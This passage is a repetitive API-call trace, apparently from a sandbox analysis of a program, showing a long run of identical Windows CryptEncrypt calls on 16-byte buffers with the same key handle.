pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.219] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.219] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.219] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.219] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.219] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.219] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.219] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.219] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.220] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.221] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.222] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.223] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.224] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, 